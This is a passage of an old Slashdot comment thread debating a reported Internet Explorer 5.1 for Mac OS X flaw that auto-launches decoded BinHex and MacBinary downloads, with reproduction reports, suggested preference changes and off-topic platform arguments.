    Of course I don't have 10.1 but from what I hear on Macslash this is a setting which can be checked or unchecked. This so called hole is actually just a setting left on. As far back as OS 9 Explorer would decompress the binaries but it would not execute the program. I guess the only difference is that its Unix now so its news.

  225. Shades of MSN 1.0 by hatless · · Score: 3, Informative

    What IE 5.1 for the Mac should be doing is decoding the Binhexed file and then handing the decoded file back to its (IE's) MIME and Mac creator handler again, as though it were the original downloaded file, and apply the appropriate rules, whether to save, launch, or whatever.

    In other words, if the normal behavior when encountering an image/tiff file is to open it in Photoshop, then that is what should happen to a binhexed TIFF. If it's an .sit from Stuffit, Stuffit Expander might be launched. If it's an Excel spreadsheet and the preferences are set to open those, then open it it should.

    The problem here is that it sounds like IE is handing the decoded file to OS X's "file open" handler (the call made when double-clicking an icon in the Finder) instead of to IE's "file download" handler, which checks MIME-handling rules and security zones set in IE and systemwide preferences.

    Not unlike an incident I remember back in 1995 during the Windows 95 betas, when the original webless MSN was opened to content developers. It used a Windows Explorer metaphor, with online content organized as folders and icons. Content providers were encouraged to post RTF documents as content, but any file was fair game. Thing was, when users double-cliked on files to open them, they were treated like local files. Some of the earliest Word macro viruses got spread this way. I remember being shown this at a beta developers' convention before the first macro viruses even hit and asking if it could pass opened files through the user's virus scanner before opening them. "No, we hadn't thought of that," said an engineer. Horrified looks and some intensive scribbling on notepads followed, though nothing was done in time for launch beyond a useless request to content providers that they try to scan things for viruses before posting them.

  226. This is not universal by moof1138 · · Score: 1

    I have two OS X 10.1 systems. I do not use IE (mozilla is superior), so they have default prefs. I went to versiontracker, downloaded a few binhexed files and in each case it decoded the file (which is corect behavior, and not a significant security risk), but did not attempt to execute the file. On the first system I tested my user's home is an NFS export, so I tested with a local user with a local home, and I even created a new user with a local home, and in no case was I able to reproduce this. I went to my PowerBook and tested there, and I also was not able to reproduce. Something fishy is going on here. Either the report is false (which I am inclined to believe - most who are verifying this are just reporting that the file is decoded which is not a major security concern), or there are other conditions that need to be met (which I would be interested to hear).

    --

    Hyperbole is the worst thing ever.
  227. So? by tsa · · Score: 1

    What's so huge about that? If I click on a .exe file using IE, it also starts automagically. I don't understand what all the fuss is about.

    --

    -- Cheers!

  228. Simple solution by Tassach · · Score: 2
    • create an ie user account & group
    • add all your real users to the ie group
    • set the setuid bit on the ie executable
    • move everything that ie needs to be able to write into it's own directory; chown everything in that directory to ie (preferably on a filesystem that's mounted with noexec & nosetuid).
    • Make everything in this directory group-writable so that normal users can use it without difficulty
    • make sure that you don't have anything important that's world-writable or -readable

    for the extra paranoid, set up a chroot jail for it

    Doing it this way, IE will always run as an unprivilidged user. If it does execute any rogue code, it will also be run as the unprivilidged user, and will therefore be constrained to the sandbox you set up for it.

    --
    Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
    1. Re:Simple solution by Mr+Bubble · · Score: 1

      Much more simple solution:

      In Explorer preferences, uncheck the boes to automatically decode the .bin and.hqx files.

      That way, stuffit expander will handle the decoding and will not automatically launch the resulting binary.

      --
      "The world is a construct of forceful imagination. Those who don't know walk around in the reailties of those who do"
    2. Re:Simple solution by Tassach · · Score: 2
      Disabling the feature will protect you against THIS attack. Running IE suid as an unpriviliged user will protect you against FUTURE, unknown attacks as well.

      --
      Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
  229. Re:Here's the fix (no sarcastic anti-MS comment he by kootch · · Score: 1

    I don't really understand the problem... it's only un-binhexing the files... it's not executing them. So I take a file and stuff it or binhex it... and when they download it it automatically decodes it. Fine. Then the application is sitting on the desktop (or wherever it's been downloaded to). It hasn't been executed, only decoded. The user still needs to click on it to execute it.

    This isn't a BIG SECURITY HOLE. Hell, I still wouldn't consider it a security hole, nor would I change the setting to non auto decode. To execute it I would still have to doubleclick on the icon.

  230. Even logged in as an "Administrator" by SkimTony · · Score: 1

    In MacOS X, even though my user account has "Administrator" privledges on my system, when I want to change certain preferences or install software that requires access to /System, I'm prompted to enter my password again. Mac users don't regard being prompted for a password on their systems lightly, so this will probably set a red-flag for most people. Basically, root-level exploits won't be helped all that much. Besides which, you downloaded the application - and you weren't planning on executing it?

  231. BUZZ Thank you for playing. by Umrick · · Score: 1

    Nice fud.

    A user must authenticate to NetInfo before making changes, they can't just waltz in and edit.

    Only the first user created is flagged as Administrator by default, any additional users need to be flagged as such if you intend to let them control the machine.

    OS X is actually fairly secure, but not obnoxiously so out of the box. If I want, as Admin, I can set up a laptop such that Joe user can edit network configs, etc, but lock down other capabilites as I wish.

  232. This probably violates my NDA, but.... by Lagos · · Score: 2, Informative

    I used to work in the MacBU at Microsoft and my officemate was on the Mac IE team.

    One day we were experimenting with the download behavior of IE, and I noticed the problem. We discussed it and later brought it up to the higher ups on the team during lunch (The food in the Silicon Valley Campus Café is much better than Redmond's by the way):

    "If a malicious web site designer were to use some method of redirection to get the browser to download a .hqx binary, the user might not even know that IE was downloading unless they watched the download manager very closely," I said. I believe some other members of the team had already noticed the problem as well.

    We all agreed this was a serious security hole and it is being fixed in the next release.

    In the meantime, you can turn off the "Automically decode BinHex files" under Download Options in the Explorer Preferences. We tested Mac IE's behavior with MacBinary files and there is no security hole there.

    How did this bug slip by the team? Well, I am not on the IE team, so I couldn't say for certain. I believe the problem is that after IE uses its own .hqx decoding functionality, it should try to process the resulting file. This is good as it allows one to download and unstuff a .sit.hqx archive automatically.

    Somehow this behavior was fubared, however: Instead of passing the file back through IE's file helper layer, it was apparently opened directly. This has acceptable behavior if the file downloaded was happyapp.sit.hqx, but not-so-acceptable behavior if the file downloaded is evilevilapp.hqx.

    Anyway, someone clearly messed up. We're very sorry. Or rather, they are since I probably won't get rehired after this message.

    --
    Lagos
    Gentle Bunny

  233. Re:Well! by arkanes · · Score: 1

    I'd be really impressed if a company accuratley predicted the number of NT client licences it needed 5 years in advance, and was willing to cough up cash for licences it didn't need then but might 5 years in the future. Especially as there was no reasonable expectation that MS would discontinue support for the old licensing model in favor of the new subscription/money-gouging model.

  234. Re:Not M$ by Winged+Cat · · Score: 1

    I never said they were efficient about it or good at it, just that they do it. Much like wannabe Borg, in fact.

  235. Re:Intrinsic Security in OS X - It's even worse... by MrResistor · · Score: 1
    Apparently you haven't seen any of the Mac TV ads. The unfortunate truth is that Macs are marketed towards people who don't know anything about computers and don't want to know anything about them. Mac's are currently being marketed as appliances, just plug it in and go. The target market for these ads are not people who will muck about in user permissions, which is why it's so horrible that they would have such bad default security settings.

    I wish I did know a savvy Mac user in my area. I'm not one and I feel bad when my Mac using friends need help.

    I'm sorry you find the truth about Apples advertising strategy inflamatory.

    --
    Under capitalism man exploits man. Under communism it's the other way around.
  236. What is hilarious.. by Sheepdot · · Score: 2

    Stuffit expander already unzips/decodes files.

    Stuffit expander does not *run* the application, **BUT** what exactly is the next thing that someone does once they download said item?

    Unless they are downloading trojans or viruses in a compressed format, this is actually cutting out an extra step.

    And to be completely honest, if you think users are going to *hate* this, you need to hang around Mac consumers a bit more often.

    And finally, I challenge any of you here to come up with a Mac trojan that works on OS X. If you can, and post a URL within the next 5 days, I'll click on it with our OSX IE5 Macintosh at work.

    I'd like to see people actually start creating viruses for the Mac. It'd make my job more important.

  237. Re:Not M$ by binarybits · · Score: 2

    Have you ever actually *used* IE 5 for Mac? It's a damn good browser-- better than anything Netscape makes and on par with IE 5.5 for Windoze. In a lot of ways it's better than IE 5.5-- it's more standards compliant, and isn't full of proprietary hooks into the OS like it is with Windoze.

    Microsoft might not pour as much money into IE for Mac as it does for Windows, but it certainly isn't a bad browswer. IMHO it's the best browser on the Mac platform.

  238. New Ad campaign for M$ by e.m.rainey · · Score: 1

    "M$, an equal opportunity platform security breach."

    I think what it boils down to here is that trusting your security to a company will always leave you vulnerable because a company's best interest only *sometimes* is with you the user. A companies formost interest is money for themselves and their stockholders; any true capitalist such as myself with tell you this. If security happens to fall in line with that, then great, but don't ever solely rely on it.

    Don't implicitly trust a company with your security, ever.

    Trust yourself and trust the code that you can read. Trust no one else.

    Oh and don't misconstrue my opinions for those of my employer.

    --
    The next remark is false. The previous remark is true.
  239. Re:Well! by DrSkwid · · Score: 1

    but not only 'not support' but new users 'cannot be added'

    at least with free software Per Seat Licensing won't come up and bite me when the next version is out

    --
    There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
  240. Confusion by overunderunderdone · · Score: 1
    There are a lot of comments here that are confusing the issue. The bug report is NOT that IE is decoding binhex files - most mac browsers have always done this automatically, and it is NOT by itself a security problem.

    To quote the report:
    I've noticed a very disturbing "feature" in my copy of IE 5 for Mac OS X 10.1 5G48.. When it downloads some programs (namely, applications that have been encoded with MacBinary), it de-.bins them as it downloads, which is normal, but after the file is downloaded IE runs the application!
    Here's another interesting report from Macintouch about the behaviour of the preferences:
    Interestingly, the checkboxes appear to control only IE's internal decoding engine. Switching them off does *not* stop decoding from happening -- it simply hands the task over to Stuffit Expander (which will not automatically launch the decoded app, thankfully).
    My theory is that Micro$oft assumes that .bin or .hqx files are encoded .sit files and after decoding them launches them - which if they ARE a .sit would launch Stuffit for decompressing. But even though they are USUALLY .sit files nothing says they have to be, if the file is actually an application rather than a .sit IE is launching that application.
  241. Re:Here's the fix (no sarcastic anti-MS comment he by Anonymous Coward · · Score: 0

    It really would not have hurt your post to go ahead and include a sarcastic anti-MS comment. Please consider being more creative in your future posts.

  242. Confusion by overunderunderdone · · Score: 1
    I posted this elsewhere but at the risk of being modded as redundant I'll mention it again.

    The bug report is NOT that IE is decoding .hqx or .bin files - most mac browsers have always done this automatically, and it is NOT by itself a security problem.

    To quote the report:
    I've noticed a very disturbing "feature" in my copy of IE 5 for Mac OS X 10.1 5G48.. When it downloads some programs (namely, applications that have been encoded with MacBinary), it de-.bins them as it downloads, which is normal, but after the file is downloaded IE runs the application!
    Here's another interesting report from Macintouch about the behaviour of the preferences:
    Interestingly, the checkboxes appear to control only IE's internal decoding engine. Switching them off does *not* stop decoding from happening -- it simply hands the task over to Stuffit Expander (which will not automatically launch the decoded app, thankfully).
    My theory is that Micro$oft assumes that .bin or .hqx files are encoded .sit files and after decoding them launches them - which if they ARE a .sit would launch Stuffit for decompressing. But even though they are USUALLY .sit files nothing says they have to be, if the file is actually an application rather than a .sit IE is launching that application.
  243. IE for OSx not a final release. by CuriousGeorge113 · · Score: 1

    I think one factor that many of you are overlooking is that IE5 for OSx is not a final release, but merely a preview release.

    In other words, this is it's first round out the gate, there are bound to be bugs with it (as with any program when it's first released).

    --
    No man is an island, But if you take a bunch of dead guys and tie them together, they make a pretty good raft.
  244. No big deal... by rogueprocess · · Score: 1

    I don't anticipate having any trouble from this, as I use Mozilla as my default browser on OS X. If I wnated to use M$ products, I would own a Windows machine, not an Apple.

  245. ANOTHER security hole in IE for OS X! by sjonke · · Score: 1

    Make sure you also uncheck the "send all files to microsoft and then trash the hard drive" option in the preferences. Fortunately, only a dunderhead wouldn't think to look for that and uncheck it before using IE.

    You might also want to uncheck the "auto-install child pornagraphy and 'accidentally' send email to the FBI offering them to come on by and pick up some free child porn" option.

    --
    --- What?
  246. Re:Intrinsic Security in OS X - It's even worse... by Anonymous Coward · · Score: 0

    You can also change the root password in Linux without knowing the current root password.

    So that's not just a Mac OS X thing.

  247. Re:Intrinsic Security in OS X - It's even worse... by kilgore_47 · · Score: 1

    "I'm sorry you find the truth about Apples advertising strategy inflamatory."

    My "flaimbait" comment had nothing to do with Apple's advertising and a lot to do with your smug implication that savy mac users are few and far between. I'm one of those users, and I know a lot of others. I was insulted on a personal level, and a group level, by your baseless claim.

    Also, about the advertising: The mac is marketed as a "supercomputer" as well as being easy to use. Apple is trying to appeal to a broad group of people. That doesn't exclude savy people, it just includes the computer-ignorant masses with them. Macs are marketed to everybody.

    --
    ___
    The way to see by faith is to shut the eye of reason. --Ben Franklin
  248. Re:Wait... does it run the software, or just decod by Shadow+Knight · · Score: 1

    ...you could read the article...

    That would be too easy, as they say. Man... the one time I don't read the article, I end up looking like an idiot. Isn't that always the way?

    When I set out to write my comment, I meant for it to actually ask the question, as I wasn't sure things were being interpreted correctly by the predominantly PC /. crowd. I suppose I should have read the article.

    later,
    Shadow Knight
    --

  249. Re:Intrinsic Security in OS X - It's even worse... by MrResistor · · Score: 1
    Perhaps you missed this part of the quote:

    not syaing they don't exist, just that I don't know any

    Savvy mac users are few and far between. I would wager that there is a higher percentage of savvy mac users than savvy wintel users in terms of base population, but the base user population for the mac is so much smaller that finding a savvy user is extremely difficult, especially for someone who is not a member of the mac community.

    --
    Under capitalism man exploits man. Under communism it's the other way around.
  250. Re:Clueless Windows Users by emurphy94108 · · Score: 1

    Saying that most Mac users are clueless is narrowing your view far too much. The vast majority of users of ANY consumer OS are clueless. Walk up to your average accounting department employee, secretary, attorney, sales rep, and ask them what version of Windows (e.g., 98, ME, 2000...I'm not even talking service pack numbers.) they run. 75% of the time they can't tell you. Or, they'll say something like "Umm...Windows 97?" Most Windows people I know can't even tell you what e-mail application they use. "Ummm...Explorer?"

    I'm absolutely astonished how many long-time users of Windows (and Mac) systems have no real understanding of the way their filesystem works, and many have a pretty hazy understanding of the difference between files and folders (directories, for you *nix people), or why anyone would want to organize files into folders. I know of ENGINEERS who keep all their data files in the "MyFiles" folder on their Windows 2000 Professional workstation.

    --
    "The Artist, seeking Beauty, discovers Truth; The Scientist, seeking Truth, discovers Beauty."
  251. 10.1/IE 5.1 security nonsense.... by Anonymous Coward · · Score: 0

    Running IE 5.1.2 here on OS X (10.1) and this report appears to be nonsense...

    If I have my internet settings to automatically decode bin.hqx files using stuffit (the default) it does just what it's meant to...

    decodes the bin.hqx file and leves the result on my desktop...

    stuffit doesn't run any downloaded files, nor does IE....

    scaremongering at it's worst, guys...

    and yes, you can mail me at ben-at-benjamieson.com (couldn't be bopthered to register just for this one post, sorry!)

  252. And to think.. by Ogerman · · Score: 2

    Just a year ago, Linux folk were still clamoring that they wanted a port of IE. I'd say the latest Konqueror and Mozilla have been worth the wait.

  253. Re:Clueless Windows Users by MrResistor · · Score: 1
    I never said that mac users are clueless. In fact I specifically allowed for clueful mac users in my origional post and further clarified my comment here. I did say that mac ads are targeted towards clueless users and people who are intimidated by technology. In short, not the kind of people who should be saddled with the kind of bad security described in the parent post.

    I agree with your assessment of the average computer user, but the difference is that wintel and *nix vendors are not actively and directly courting the clueless user market like Apple has been for the last few years.

    The fact still stands, though, that I have never met a clueful mac user (I do know a couple of mac-haters who know macs fairly well, but I felt it would be inflamatory to mention them before).

    --
    Under capitalism man exploits man. Under communism it's the other way around.
  254. the actual problem by Anonymous Coward · · Score: 0

    The problem is not that Stuffit and IE automatically mount and execute the contents. The problem is that the user doesn't choose to open it first with the IE vulnerability. Any web page could forward them to a hostile binhex, which their computer would automatically execute thanks to our friends at Microsoft. StuffIt wasn't designed for advanced users who want to open possibly hostile archives and play with the contents. It was designed to streamline the setup process, which on a Windows machine is duplicated with a self extracting binary- a binary that could execute any arbitrary code that the designer (or anyone with a Back Orifice shrinkwrap clone) includes. Gator owes its popularity (should I say unpopularity?) to this fact.

  255. Re:Not M$ by Rakarra · · Score: 1
    As evidence, take their uniformly poor attitude towards security...and their applying features from games to other software (one can get obsessed about a game and learn all its controls, and if it crashes, one can just pick up from the last save;

    Fortunately, gamers' standards are much higher than that. You're more likely to find a logic non-crashing bug in a game than a crashing one. Gamers after all have multiple good options to choose from -- if they don't like what the PC world has to offer, they have excellent selections for the Playstation and N64, two platforms whose games almost never crash.

  256. Re:Here's the fix (no sarcastic anti-MS comment he by Anonymous Coward · · Score: 0

    RTFA. IE is sending an event to Finder to open the newly-decoded file, which is reasonable if you just decoded a Stuffit archive. Unfortunately this will also cheerfully launch a binhexed app without asking the user!

  257. RTFM would Probably Apply here by Anonymous Coward · · Score: 0

    an easy way to disable this feature --yes, MS actually calls this a feature--is to go to the download preferences (command-semicolon) and then look under "receiving files:download options". Uncheck the two buttons at the bottom of the properties page which read: 1-Automatically decode MacBinary files & 2-Automatically decode BinHex files.

    These file types (bin & hqx) are just compressed files -- think zip or tar here. And by the way, this has been around since OS 8.1 (people pay for stuffit deluxe to add these types of features).

    Again, simple common sense when checking e-mail--knowing who your e-mail is from, checking attachments, etc. is all that is required here.

    RTFM or make a fool of yourself.

    1. Re:RTFM would Probably Apply here by Anonymous Coward · · Score: 0

      Though someone was claiming BinHex includes simple LZH compression, MacBinary and BinHex are really intended as flat encodings to capture the structure of an HFS file.

      And the problem here isn't email, it's that any hyperlink on the Web could point to an encoded malicious binary which IE can decode and execute without prompting. It's good that a config change works around the problem, but the default behavior is stunningly negligent.

  258. Re:Well! by Jonathan+C.+Patschke · · Score: 1
    It says I can't have any more users.

    Read the EULA. You can purchase Windows 2000 seats through volume-licensing and "downgrade" the installation to NT 4. This applies to both the server and workstation editions.

    Then, once you and your staff are trained on Windows 2000, you can upgrade, as you've already purchased the right (for n seats, anyway).

    I don't know if this applies to shrinkwrap licenses, but that's how it is with volume licensing. Also, I think you can still get NT 4 media kits through the "easy fulfillment" program, if you're a volume-license customer.

    I'm not carrying the Microsoft torch here or anything, but your statement is patently false. It is, however, what Microsoft wants you to believe, which is why they insinuate it, and only contradict it in the fine print.

    --
    Pining for the days when The Glorious MEEPT!!! graced SlapDash with his wisdom.
  259. Re:Well! by DrSkwid · · Score: 1

    ah, well there you go then problem solved.

    Seattle must be a nightmare place to live.
    Is everyone there so devious?

    No wonder the radio station has a shrink on every day!

    --
    There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
  260. Re:Clueless Windows Users by Anonymous Coward · · Score: 0

    "The fact still stands, though, that I have never met a clueful mac user (I do know a couple of mac-haters who know macs fairly well, but I felt it would be inflamatory to mention them before)."

    I had a good laugh over this one. As someone who works for Apple doing technical support, I can tell you at our call center (which employs roughly 200 people) about 85% of us are PC users. We aren't MAc haters per say, more Mac user haters - and we are definitely the only ones that seem to know how to use a Mac. I get so sick of people beginning a call with "I've had a Mac for 12 plus years, and I've..." Yet they can't do the simplest of functions on their machine. Mac's are great little machines if they are used for their intended purpose, it's the users that have issues.

    At Apple, there are no problems - only issues.

  261. Re:Clueless Windows Users by MrResistor · · Score: 1
    One of those folks I mentioned works in tech support for Earthlink. Apparently Earthlink had some special deal for new iMac owners, and it was discovered that he knew as much about Macs as anyone else there. It was like they'd found his personal room in hell...

    --
    Under capitalism man exploits man. Under communism it's the other way around.
  262. CSS issues by TheInternet · · Score: 1

    Omniweb does not have complete javascript support.

    Or CSS support.

    - Scott

    --
    Scott Stevenson
    Tree House Ideas
  263. The Problem with OmniWeb by TheInternet · · Score: 1

    I do occasionally use IE, when hitting one of those pages designed by MS only shops, but most of my browsing time is in OmniWeb [omnigroup.com] (www.omnigroup.com). Problem solved.

    OmniWeb has incomplete and broken CSS support, and JavaScript has issues as well. It simply cannot render modern pages. This creates major headaches for site authors, and encourages poor page design (nested tables, font tags, single pixel spacers, etc.). This sends the web backwards.

    Fortunately, OmniGroup is rewriting their rendering engine for 5.0, to be released sometime next year. But in the meantime, more and more sites are using CSS.

    There are occassions when sites are aimed specifically at IE to OmniWeb's detriment, but these are far less common than most people think.

    As a company, though, OmniGroup is great.

    - Scott

    --
    Scott Stevenson
    Tree House Ideas
  264. What were the others? by TheInternet · · Score: 1

    ANOTHER security hole in IE for OS X!

    What were the others? I don't remember hearing about any other security issues in MacIE for OS X.

    - Scot

    --
    Scott Stevenson
    Tree House Ideas
  265. Re:Tried it. Does nothing by Anonymous Coward · · Score: 0

    i also tried it with OS X.1
    it was expanded by stuffit expander, but it was not executed. it shows up as a classic application named Danger Application.